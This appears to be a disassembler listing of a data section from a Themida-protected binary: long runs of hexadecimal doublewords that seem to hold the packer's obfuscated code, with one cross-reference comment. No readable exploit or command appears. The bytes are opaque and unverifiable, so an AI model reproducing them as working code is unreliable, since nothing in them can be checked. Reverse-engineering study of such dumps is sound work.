		dd 2BD8D8BFh, 0BD8B50C8h, 648151Dh, 0E9D18B5Bh,	0Ah, 24F3A009h
		dd 6C929A9Dh, 0CE94F57h, 1000000h, 4813D59Dh, 0A9950106h
		dd 8B06481Bh, 481B6585h, 3DBD8B06h, 8306481Ah, 0BF6607C0h
		dd 0C0834894h, 0EDBD2300h, 3B06480Ch, 28830FD0h, 60000000h
		dd 3890Fh, 0BF0F0000h, 0DE9C9h,	63170000h, 91134455h, 7D8247F3h
		dd 611BB3ACh, 53E9h, 48EB8100h,	8B7589DEh, 4820FD8Dh, 0D88B6606h
		dd 0F01E183h, 3B84h, 75BD8B00h,	83064819h, 4820FDA5h, 11E8FE06h
		dd 6E000000h, 82908114h, 471E2020h, 0C54D0F87h,	357C31D9h
		dd 2F95BD8Bh, 895F0648h, 481B6595h, 11E38106h, 0E9048ED2h
		dd 0
		dd 1D89B58Dh, 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 1C6DB0C3h, 39BDCEBAh, 69B8607Bh
		dd 0E97BF1A8h, 13h, 0E1CD10BBh,	0BF098AA4h, 79D7F8FBh
		dd 99604056h, 6195922Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0B60AB8C3h, 200ACAB6h
		dd 6624B7D8h, 235FF381h, 306195FFh, 0BEB90648h,	0F8000008h
		dd 6AFCE183h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0FF50C353h, 0D1D69BD0h, 0FC53B661h
		dd 0C419D31h, 0C02B0648h, 24D9BD23h, 0D22B0648h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F8C35040h, 6097FD85h
		dd 232D8529h, 8B660648h, 896061CEh, 4824D18Dh, 33AD6106h
		dd 3E8D1C2h, 4E983D0h, 8B66F475h, 55006AF8h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 915D4D97h
		dd 4C3F6295h, 880Dh, 7D9D0900h,	8B064805h, 480A1995h, 3D9D3306h
		dd 8B06481Fh, 480F358Dh, 7C38106h, 500AEE8Eh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 69D38058h,	28D2BB66h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 91C35141h
		dd 8BBEA343h, 480D159Dh, 0A5BD8306h, 64819h, 8A840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 1A2E02C3h, 0B6ACA96h, 2A01B509h, 85010648h, 6482255h
		dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0C8D92A41h, 0E780F620h, 648D8DBBh
		dd 6A06484Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 3377C351h, 0A5A62526h,	0B04C5968h
		dd 0FCDEBF0Fh, 0FE8BE1FFh, 2425BD83h, 0F000648h, 43E84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8322732Ch, 482425BDh, 840F0106h,	42Eh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 41C35141h, 156D0B05h
		dd 0BD83C885h, 6482425h, 0C9860F03h, 6A000003h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0E10CC357h, 0C7D24675h, 8529CD39h, 6480DE1h,	751CE781h
		dd 0BF6058C5h, 7966F3B5h, 2A41BD8Bh, 8C660648h,	47E381D9h
		dd 803B964Fh, 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 41D025C3h, 0DE9h, 0E6F25300h, 575C5053h
		dd 7A9539BFh, 6E90356h,	55000000h, 213FEDBAh, 0FC90AF3h
		dd 17084h, 8BDF8B00h, 48238585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 85318E50h
		dd 6480529h, 2AC98533h,	6A0648h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 58EE4AC3h, 8B665090h
		dd 6A90DAh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 15h,	0C9C35242h, 858B608Ch, 648248Dh, 890Fh,	0E8610000h
		dd 4, 1F03FFh, 9E8h, 0E5076B00h, 39A9447h, 8A0F9685h, 2
		dd 505FDE8Bh, 0BE960h, 3E1A0000h, 6EA6BCC4h, 1A42630Eh
		dd 14E8B2h, 141E0000h, 5EE902B1h, 1555FA45h, 93B167FDh
		dd 0B675D182h, 850F020Fh, 0
		dd 448B615Bh, 0BF600424h, 71B91478h, 11E8h, 4D654C00h
		dd 8D574AB3h, 9061E3B5h, 7C2514A2h, 5E506FA9h, 8B6158h
		dd 0CE9h, 0A4F41C00h, 0B42FC4FFh, 0DE195556h, 2444898Bh
		dd 9D8B5804h, 6481E4Dh,	1C0195FFh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4EBF76C3h
		dd 29D9BD8Bh, 85890648h, 64BB92Ch, 16430BBBh, 144E94Ch
		dd 13E80000h, 9D000000h, 2F8C8D0Ch, 0FF5C78CCh,	22E99E4Ch
		dd 636F7A64h, 9D8B76ADh, 64827F1h, 24858B5Bh, 80064BB9h
		dd 0C770CBh, 18h, 0B928B58Bh, 858B064Bh, 6482BF1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D4C35141h, 14F1BD2Bh
		dd 6890648h, 2DB99D8Bh,	858B0648h, 6482385h, 0FDFBF0Fh
		dd 0B81h, 85036000h, 6482DD9h, 61C9B70Fh, 89044689h, 481B3D9Dh
		dd 8E95006h, 68000000h,	694B317h, 897C96F4h, 0BF662434h
		dd 0B5FF2B8Bh, 64BB924h, 6798589h, 4E80648h, 0FF000000h
		dd 0F001F03h, 1182h, 0CE900h, 4ECD0000h, 98C45ADFh, 6AD4CE73h
		dd 0E9500555h, 0Bh, 0CD8588A5h,	0D6586284h, 8B16EEE0h
		dd 0BB042444h, 23A8FAF6h, 0BB66008Bh, 44892F95h, 0D98B0424h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 33562A1Ch, 5EE37C57h, 20B58D89h,	858D0648h
		dd 64BB92Ch, 50FB8B66h,	50CA8B60h, 66310F52h, 585AD18Bh
		dd 24048961h, 7DBCCF81h, 95FF513Ah, 6481C01h, 71BF6656h
		dd 81615BA7h, 32838AE3h, 2585C74Ah, 3064824h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 961DC356h, 1824502Bh, 0F95BA0A1h,	15C1B529h
		dd 0BD830648h, 64BB92Ch, 61840F00h, 8B000000h, 481CC59Dh
		dd 0FE8B6606h, 6EE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 932CF6BBh, 9D0B606Fh
		dd 6481F11h, 0DE9h, 0EB988C00h,	43471AB9h, 37186A79h, 6061C817h
		dd 8B0F60h, 0FC000000h,	810F5061h, 0
		dd 9D0B615Ah, 6481979h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0FC08B00h, 389h,	0FB8B6600h, 83FBBF0Fh
		dd 482425BDh, 850F0306h, 474h, 21558D29h, 0BD830648h, 64BB92Ch
		dd 61840F00h, 8B000004h, 9E9DAh, 0D7A90000h, 54B357B0h
		dd 0FFAD442Fh, 4BB92CB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0E59D8BACh
		dd 8106482Ch, 262A72EBh, 3595FF2Eh, 8B06480Eh, 20B58BF9h
		dd 6A064BB9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 5BF9C353h, 9CB0320h, 0BB669C9Eh
		dd 0BD033C78h, 648234Dh, 106C7h, 0E9530001h, 0Eh, 4B932860h
		dd 0ED5C26A8h, 1A18D7C1h, 965BBD50h, 9E8h, 55D29C00h, 18A68EBDh
		dd 11E8F083h, 0AC000000h, 1C5352B0h, 24A1B4E0h,	66BBC41Bh
		dd 109FD304h, 5F5B5F57h, 0FA8B6650h, 0DA8B6696h, 0B92CB5FFh
		dd 880F064Bh, 6, 6155CB81h, 95FF13D0h, 6481D59h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 95C35040h, 663605FAh
		dd 0B58BDA8Bh, 64BB920h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 92C35141h, 0A799D03h,	858B0648h, 6481049h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F8C35747h
		dd 5965FD8h, 9F8AEA9Ah,	2B8D8589h, 0C3810648h, 6464A51Fh
		dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 17C8B6C3h, 0BFA89A13h, 9589DA80h
		dd 6481F15h, 0A19958Bh,	6A0648h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 1EDDD1C3h, 104C283h
		dd 4818058Dh, 20508906h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 0BC35242h, 0DB22D68Ah, 66F8BF0Fh, 6FCEF81h
		dd 0CE09858Dh, 6A064Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0BFB50C3h, 0B88689F9h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 2043C350h, 4992795Bh, 8B006A08h, 4808D9BDh
		dd 2CB5FF06h, 8B064BB9h, 482C699Dh, 0E195FF06h,	6A064823h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0A0C5C350h, 0A729079Fh, 85BD8B45h, 8006481Bh
		dd 0E896AECFh, 11h, 0D446CF14h,	0CBD3F0A2h, 398B3AB9h
		dd 0E6A9E549h, 9E998h, 0F4D60000h, 0CCDEE026h, 5F3E1EF9h
		dd 96DE8A50h, 6E9h, 803F0600h, 0FF178F5Ah, 4BB92CB5h, 6800F06h
		dd 29000000h, 4824518Dh, 48B0F06h, 66000000h, 0FF1A62BBh
		dd 480E2D95h, 8378B706h, 481CA1BDh, 840F0006h, 6Fh, 0FE9h
		dd 86124D00h, 0DED39598h, 726135DDh, 1B6FA28Dh,	12E96050h
		dd 4A000000h, 0DA9DE491h, 80222DA9h, 6BAC7527h,	0C3F5F52Fh
		dd 34896114h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0ED1DA093h, 8B0F2298h, 17h, 0BE8h
		dd 0CC306800h, 7FEE3B8Bh, 26D11511h, 13D59D8Bh,	0FF5B0648h
		dd 4BB92CB5h, 6850F06h,	81000000h, 9F23C6CBh, 61858915h
		dd 0FF064821h, 48271995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B5FFF5E0h
		dd 64BB92Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	6FC35242h, 0BD8B5CDDh, 6482479h, 0C91BD8Bh, 95FF0648h
		dd 6480B41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0D3C35646h, 0F6DFDAC3h,	0D3560A58h, 2C9D9D29h
		dd 0BD830648h, 6480CCDh, 4C840F02h, 0E9000000h,	0Ah, 1607866Bh
		dd 0B7A50F6Fh, 0FE8A5EEBh, 0FD5858Bh, 11B30648h, 6A0000C6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0E83CC351h, 7, 8B181ECBh,	0BB907F67h, 0E8A54DAh
		dd 0C702B75Bh, 480E6985h, 6, 12E900h, 55DB0000h, 0FCF0450Ch
		dd 0E4F4DCB5h, 4A4914D6h, 7E11C605h, 0FFF33AE9h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 88ADD52Bh, 1100851Dh, 810F4310h, 6, 23E9BD89h, 0F600648h
		dd 28Ch, 815BB600h, 419E10E0h, 0C18B613Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E6C35040h, 197D7190h
		dd 66C6F436h, 8D3357BBh, 4832FD85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 85A9B54h, 8B666621h
		dd 800F50F8h, 6, 8B0Fh,	4890000h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 6A5B562Eh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 6DF23813h, 7E860h, 0CD030000h, 78AB6022h
		dd 0CB8B66B5h, 0AD8D895Bh, 61064820h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 22B3CDC3h, 0B204858Dh, 8D29064Ch, 6481F99h, 6850Fh
		dd 85890000h, 6482F71h,	8B05C083h, 482505BDh, 0CE99006h
		dd 0E0000000h, 65554AF9h, 35EC063Ch, 5034A5FAh,	0DBE6660h
		dd 6CBF6666h, 6A906142h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 661C352h, 0E3D5397Fh
		dd 6A5C41h, 0FB59D89h, 6A0648h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 53C35040h, 0A5B87AAFh, 8B58208Ah
		dd 480F699Dh, 7D95FF06h, 6A064827h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 78B0C351h
		dd 0F8F3240h, 0C86h, 6860F00h, 0F000000h, 8Eh, 0B19D8B00h
		dd 8D064808h, 4B9C148Dh, 0CF9DBB06h, 0D1FF7AA6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E3C35343h, 0BD831DB7h
		dd 6481949h, 80850F01h,	0E9000000h, 0Dh, 6EBC4C05h, 14F9B244h
		dd 62D6CA0Ah, 0DD852942h, 6A064805h, 53006A02h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0C4242C21h
		dd 0F1B50932h, 50064804h, 489F1B3h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 8E11369Ch
		dd 89618912h, 48306985h, 5D8D0106h, 0FF064819h,	4823E195h
		dd 81BD8B06h, 0E906481Ah, 0D67h, 0E8h, 0ED815D00h, 64CB20Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 64C35747h
		dd 6AC6BAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 48CD81C3h, 8E6B8D85h, 0F7FB744h, 38Eh, 0F8BF0F00h
		dd 2B65BD0Bh, 858D0648h, 64B9744h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 93C35343h, 0E8BA485Ch
		dd 0Eh,	7754BB62h, 0C667EC98h, 0A71C28E3h, 0B70F49DEh
		dd 53505BFAh, 5FF98B66h, 8B240489h, 482CE5BDh, 35FF6406h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 88C35141h
		dd 8B662EEEh, 0E38166DFh, 89643D11h, 25h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 2CB7D08Bh, 68CC3FE2h, 0FFFABF0Fh, 480A2D85h,	899D8B06h
		dd 89064806h, 480FED9Dh, 0E9FF6A06h, 12h, 0FF240520h, 5900FD44h
		dd 0FE899934h, 0CD317867h, 0B5FF7778h, 6481BEDh, 0AA595FFh
		dd 1DE90648h, 0F000001h, 580h, 27A3BB00h, 0B028DDh, 3493D381h
		dd 70E60BA7h, 6359531h,	810F0648h, 6, 18A18D89h, 71E40648h
		dd 11E8h, 7BF10400h, 0E5B83A74h, 5F971D92h, 4F29FF1Fh
		dd 45BB3857h, 5B31CE07h, 830F613Ch, 0D0h, 269DBD8Bh, 0B60F0648h
		dd 6BAF5C8h, 0E9000000h, 0Bh, 1E094BF2h, 8D5399CEh, 1FD3F59h
		dd 480ACD85h, 50C18B06h, 995295Bh, 0C1064801h, 0F76604E8h
		dd 0F59589E2h, 2B06480Dh, 459D2BC8h, 8B064819h,	86E9D1h
		dd 95890000h, 64823A9h,	8858Bh,	81660000h, 83F477EFh, 0C08307C0h
		dd 3BF98B00h, 21830FD0h, 0E8000000h, 10h, 9B0ED60Eh, 5A891D64h
		dd 230E2E4Eh, 0C3EF83A5h, 5B12DF80h, 47E9h, 5FF95100h
		dd 0FFFF8D8Bh, 0FA8BFFFFh, 0F01E183h, 3384h, 0CB816600h
		dd 0BF0F6AFCh, 0FFA583FEh, 0FEFFFFFFh, 68A0F51h, 33000000h
		dd 4805FD9Dh, 63BF5B06h, 893150C5h, 895h, 7EB8100h, 0E9075ADBh
		dd 0
		dd 35EFB58Dh, 6A064Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0E813CFC3h, 11h,	3A1FF4F5h, 5E511F31h
		dd 0FB3A89BDh, 66957DD5h, 1850F4Eh, 0F5000000h,	6A006A5Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0F06AC350h, 0BD0968ABh, 64828E1h,	306195FFh
		dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0FFBC0C3h, 89h, 0FF2B900h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD89F2C3h, 6481FC5h, 6AFCE183h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B03FC351h
		dd 0FCAC0D8Fh, 11E9h, 69B9E800h, 981E4BE9h, 0DC8E93BDh
		dd 8A30F667h, 7E843CDh,	0A9000000h, 809BEA95h, 2B5F6AA6h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 6629F4CFh, 0F29982Ah, 38Fh, 0DBBF0F00h
		dd 90CF8166h, 6AD22B15h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0B401C353h,	6D652C10h
		dd 3C10BFBFh, 33AD1CF1h, 3E8D1C2h, 4E983D0h, 0E381F475h
		dd 778C052Ah, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	80C35040h, 880DD27Dh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2BD7C350h
		dd 3BF5FD43h, 8B80F5A0h, 480A1995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 538CEC0Fh
		dd 5E9h, 0B2A89700h, 0F5B1D55h,	8D8BDABFh, 6480F35h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E8C35545h, 8B5023D3h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 89F98B66h
		dd 4815A1BDh, 0A5BD8306h, 64819h, 50840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 33F35DC3h, 0FE1F18C2h, 8BE4D73Dh, 4820B59Dh,	0B806h
		dd 0E5BB0000h, 926FE5Bh, 482ADD85h, 648D8D06h, 6606484Bh
		dd 0FFB38DBFh, 0FFBF0FE1h, 31E99D29h, 0BD830648h, 6482425h
		dd 0CA840F00h, 60000003h, 8BF78B66h, 480DD9BDh,	0BD836106h
		dd 6482425h, 0CD840F01h, 60000003h, 18799D8Bh, 8A0F0648h
		dd 3, 61D8BF0Fh, 2425BD83h, 0F030648h, 37986h, 6A6000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 9570F6C3h, 0C864287Bh, 666EA445h, 9589D98Ch,	64800F1h
		dd 8B04E180h, 482D51BDh, 0FC90A06h, 10C84h, 1AEF8100h
		dd 8B00F3EFh, 48238585h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0C98533A6h, 6A06482Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 3CF7C355h, 0EF1687B8h, 12E95B7Ch,	2E000000h
		dd 6037BBA3h, 9F78A576h, 67473E6Fh, 9BAAD27Bh, 8B669040h
		dd 8B6650D9h, 8E0F90DEh, 6, 2A659589h, 6A0648h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 64C35040h, 0B12B3DAAh
		dd 3E5FB06Fh, 447DAC68h, 0BE9F1h, 0A7D20000h, 26AE6964h
		dd 2805CC4Ah, 240481DEh, 0EDA8653h, 8D0Fh, 95FF0000h, 6481C01h
		dd 7E9h, 3F8FF200h, 0BCC13093h,	0B92C8589h, 9529064Bh
		dd 6480FADh, 1CEE9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 398761D0h, 0B70F260Dh
		dd 24858BD8h, 6A064BB9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 9523C357h, 0D68A0BACh
		dd 0E9A0DB22h, 0Ch, 0F6D2AF9Bh,	80F986F5h, 19983A54h, 0C786B3h
		dd 18h,	5E9h, 0AC5FAE00h, 0B58BCE15h, 64BB928h,	0F9BBCF81h
		dd 858B5788h, 6482BF1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 66C35545h, 0C381CE8Dh, 2AB2BD71h, 0B70F0689h
		dd 0DA8B66D9h, 2385858Bh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8A0FF6C3h, 6,	1051BD8Bh
		dd 81660648h, 89F0D3F3h, 0CB800446h, 0DDB35085h, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 906DC355h, 0B5FFF5FEh, 64BB924h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A7C35343h, 460E1B86h
		dd 0A368AF65h, 0F8D44F0h, 385h,	0F98B6600h, 5C240481h
		dd 8D72DA13h, 4BB92C85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 901FF4F5h, 90FC8A50h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FBC35343h
		dd 46A79412h, 0E216407Ch, 4B73BB51h, 95FF754Eh,	6481C01h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 75C35040h
		dd 8092A6B8h, 0B6AA8F37h, 0D99D0B96h, 6106481Bh, 242585C7h
		dd 30648h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 2A2F9AC3h, 0BF0F4A07h, 2CBD83DEh
		dd 64BB9h, 48840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 160424h, 52420000h, 4118C4C3h, 40E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 830A3F30h, 14819589h, 30500648h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0D9B70FC0h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C8C35646h, 25BD83E4h
		dd 3064824h, 420850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 34505BC3h, 320B9406h
		dd 0EE9D8h, 0C9910000h,	3BDB7BDEh, 0FC4FC81Eh, 0AF97AD6Ah
		dd 0B92CBD83h, 0F00064Bh, 3DD84h, 0E5BD8B00h, 0FF06482Ch
		dd 4BB92CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 6F6351EAh, 850F8AF2h, 6, 5E1BD8Bh
		dd 95FF0648h, 6480E35h,	7800BBF9h, 0B58B67D8h, 64BB920h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7C35141h
		dd 0BD8B5C5Ah, 648157Dh, 19E19D8Bh, 8A0F0648h, 17h, 12E9h
		dd 88612B00h, 3B80E621h, 0A99C518Dh, 53C6D74Fh,	0C74A0130h
dword_588968	dd 1000106h, 0DE900h, 1AA70000h, 700D0B65h, 91DC4082h
					; DATA XREF: Themida_:00551CDDo
		dd 962570E6h, 13E860h, 0C50D0000h, 63175899h, 91134455h
		dd 7D8247F3h, 0A51BB3ACh, 0DEBF668Bh, 0FB8B5A92h, 0B0BF5061h
		dd 96556B6Ah, 0B92CB5FFh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FFA52EC3h, 481D5995h
		dd 79858906h, 8B064832h, 4BB920B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 4675E10Ch
		dd 858BC7D2h, 6481049h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0EFC35040h, 94290271h, 66330D74h, 8689FB8Bh
		dd 0C4h, 0A93224BBh, 19958B0Dh,	6A06480Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0AA0EC356h
		dd 8DC94E4Fh, 0C99D8Bh,	0C2830648h, 0CE804h, 88660000h
		dd 6B50588Ch, 0E03C7FE3h, 0BB663D94h, 895F8CD2h, 0BF662050h
		dd 858D2179h, 64BCE09h,	8689F88Bh, 0B8h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 0EDC35646h, 2890Fh
		dd 0D98B0000h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FAE85C3h, 387h,	0DA8B6600h, 0B92CB5FFh
		dd 0EB81064Bh, 54045F6h, 23E195FFh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 4B03A0C3h
		dd 26CAFA38h, 0E9518E6Eh, 0Dh, 59B5E3A9h, 8DB81257h, 0B8D52C60h
		dd 5F539686h, 0B8666050h, 96610560h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0ADC35040h,	0D6F9D433h, 6E9h
		dd 0C22D4900h, 0FFAD0342h, 4BB92CB5h, 0DA8B5106h, 2BDBBF5Bh
		dd 95FF5598h, 6480E2Dh,	6860Fh,	9D290000h, 6481505h, 1CA1BD83h
		dd 0F000648h, 6B84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0E83BFD01h, 0E5ED986Eh
		dd 13E9h, 6F0CF00h, 6AEAFA58h, 1C25F42Bh, 0D2A429F2h, 252EE7EDh
		dd 4814BB50h, 348973A5h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0A6737084h, 0BD0396ABh
		dd 6482E69h, 0B92CB5FFh, 0CE9064Bh, 9D000000h, 89037E6Bh
		dd 0E812A730h, 0FFF734DFh, 48271995h, 2DBF6606h, 2CB5FF39h
		dd 8B064BB9h, 481E2DBDh, 4195FF06h, 6A06480Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 533C353h, 0DC6F6D15h, 0F10F976h, 680h, 79BD8B00h, 906482Ch
		dd 4805A585h, 0CDBD8306h, 206480Ch, 39840Fh, 0B5890000h
		dd 6481945h, 0FD5858Bh,	80BF0648h, 0C66AB4FEh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 8E303AC3h, 1B8C1903h, 0C7FABF0Fh, 480E6985h,	6, 0B3ADBB00h
		dd 0D6E935DFh, 8BFFFFF3h, 53006AC1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 43CEE89Bh
		dd 69BD0BB6h, 8D06480Ah, 4832FD85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0D3812C27h
		dd 1F1E86Bh, 60525090h,	0F61DD8Ah, 0C58A6031h, 0FE8h, 0BE291C00h
		dd 131F23A8h, 3FDDB8C2h, 29A97E51h, 585A615Ah, 50516050h
